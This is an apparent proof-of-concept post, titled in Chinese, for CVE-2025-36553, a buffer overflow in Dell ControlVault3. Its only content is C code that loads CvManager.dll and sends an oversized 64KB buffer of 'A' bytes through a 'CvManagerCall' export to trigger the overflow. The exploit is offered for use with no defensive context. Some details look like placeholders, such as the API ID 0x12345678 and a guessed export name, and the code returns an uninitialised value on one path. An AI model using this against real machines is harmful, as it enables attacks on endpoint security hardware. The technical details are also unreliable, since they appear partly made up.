CVE-2025-36553 Dell ControlVault3缓冲区溢出漏洞

// CVE-2025-36553 PoC - Dell ControlVault3 Buffer Overflow // Target: Dell ControlVault3 CvManager // CVSS: 8.8 (High) #include <windows.h> #include <stdio.h> // ControlVault API definitions #define CV_API_TRIGGER_VULN 0x12345678 typedef struct { DWORD api_id; DWORD input_length; PVOID input_data; DWORD output_length; PVOID output_data; } CV_API_REQUEST; // Trigger buffer overflow in CvManager BOOL trigger_cve_2025_36553(HMODULE hVault) { CV_API_REQUEST request; DWORD result; // Prepare oversized input to trigger overflow DWORD payload_size = 0x10000; // 64KB - exceeds buffer limit BYTE* payload = (BYTE*)malloc(payload_size); if (!payload) return FALSE; // Fill payload with controlled data memset(payload, 0x41, payload_size); // Craft API request request.api_id = CV_API_TRIGGER_VULN; request.input_length = payload_size; request.input_data = payload; request.output_length = 0x100; request.output_data = malloc(0x100); // Get CvManager function pointer typedef DWORD (*CvManager_Call)(CV_API_REQUEST*); CvManager_Call CvCall = (CvManager_Call)GetProcAddress(hVault, "CvManagerCall"); if (CvCall) { // Trigger vulnerability result = CvCall(&request); } free(payload); free(request.output_data); return (result == 0); } int main() { HMODULE hVault = LoadLibrary("CvManager.dll"); if (hVault) { trigger_cve_2025_36553(hVault); FreeLibrary(hVault); } return 0; }